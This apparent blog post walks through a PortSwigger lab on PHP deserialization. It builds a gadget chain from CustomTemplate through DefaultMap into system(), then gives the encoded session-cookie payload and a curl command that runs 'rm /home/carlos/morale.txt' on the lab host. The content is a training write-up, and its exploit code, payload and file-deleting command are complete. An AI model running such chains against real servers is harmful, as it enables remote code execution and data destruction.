PHP Deserialization Lab: Developing a custom gadget chain for PHP deserialization

This lab is from here:
https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-developing-a-custom-gadget-chain-for-php-deserialization

get leaked code:
https://xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.web-security-academy.net/cgi-bin/libs/CustomTemplate.php~

call_user_func exploit:

<?php

class DefaultMap {
    private $callback;

    public function __construct($callback) {
        $this->callback = $callback;
    }

    public function __get($name) {
        return call_user_func($this->callback, $name);
    }
}

// Create the object with a dangerous callback
$map = new DefaultMap('system');

// (Optional) Trigger command immediately
$map->{'rm /home/carlos/morale.txt'};

?>

But we have to find a chain to run $map->{'rm /home/carlos/morale.txt'};

We can not direct invoke method, we can only modify variables.

Here is chains:

When the payload string is later passed to unserialize(), it triggers:

CustomTemplate->__wakeup() → build_product() → Product->__construct() → triggers $desc->$default_desc_type → __get() → exec("rm /home/carlos/morale.txt")

modify the property of $desc, from private to public:

<?php

class CustomTemplate {
    private $default_desc_type;
    public $desc; // ✅ Made public
    public $product;

    public function __construct($desc_type='HTML_DESC') {
        $this->desc = new Description();
        $this->default_desc_type = $desc_type;
        // Carlos thought this is cool, having a function called in two places... What a genius
        $this->build_product();
    }

    public function __sleep() {
        return ["default_desc_type", "desc"];
    }

    public function __wakeup() {
        $this->build_product();
    }

    private function build_product() {
        $this->product = new Product($this->default_desc_type, $this->desc);
    }
}

class Product {
    public $desc;

    public function __construct($default_desc_type, $desc) {
        $this->desc = $desc->$default_desc_type;
    }
}

class Description {
    public $HTML_DESC;
    public $TEXT_DESC;

    public function __construct() {
        // @Carlos, what were you thinking with these descriptions? Please refactor!
        $this->HTML_DESC = '<p>This product is <blink>SUPER</blink> cool in html</p>';
        $this->TEXT_DESC = 'This product is cool in text';
    }
}

class DefaultMap {
    private $callback;

    public function __construct($callback) {
        $this->callback = $callback;
    }

    public function __get($name) {
        return call_user_func($this->callback, $name);
    }
}

// ✅ Create object without building the product
$customTemplate = new CustomTemplate("rm /home/carlos/morale.txt");

// ✅ Inject malicious desc object
$customTemplate->desc = new DefaultMap('system');

// ✅ Serialize it
$ser = serialize($customTemplate);
echo $ser;

?>
php ./php/1.php | base64 -w0
TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjI6e3M6MzM6IgBDdXN0b21UZW1wbGF0ZQBkZWZhdWx0X2Rlc2NfdHlwZSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO3M6NDoiZGVzYyI7TzoxMDoiRGVmYXVsdE1hcCI6MTp7czoyMDoiAERlZmF1bHRNYXAAY2FsbGJhY2siO3M6Njoic3lzdGVtIjt9fQ==

then url encode:

TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjI6e3M6MzM6IgBDdXN0b21UZW1wbGF0ZQBkZWZhdWx0X2Rlc2NfdHlwZSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO3M6NDoiZGVzYyI7TzoxMDoiRGVmYXVsdE1hcCI6MTp7czoyMDoiAERlZmF1bHRNYXAAY2FsbGJhY2siO3M6Njoic3lzdGVtIjt9fQ%3D%3D

send:

curl --path-as-is -i -s -k -X 
GET' 
    -H 
Host: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.web-security-academy.net' 
    -b 
session=TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjI6e3M6MzM6IgBDdXN0b21UZW1wbGF0ZQBkZWZhdWx0X2Rlc2NfdHlwZSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO3M6NDoiZGVzYyI7TzoxMDoiRGVmYXVsdE1hcCI6MTp7czoyMDoiAERlZmF1bHRNYXAAY2FsbGJhY2siO3M6Njoic3lzdGVtIjt9fQ%3D%3D' 
    
https://xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.web-security-academy.net/cgi-bin/libs/CustomTemplate.php'
Posted in PHP

Leave a Reply

Your email address will not be published. Required fields are marked *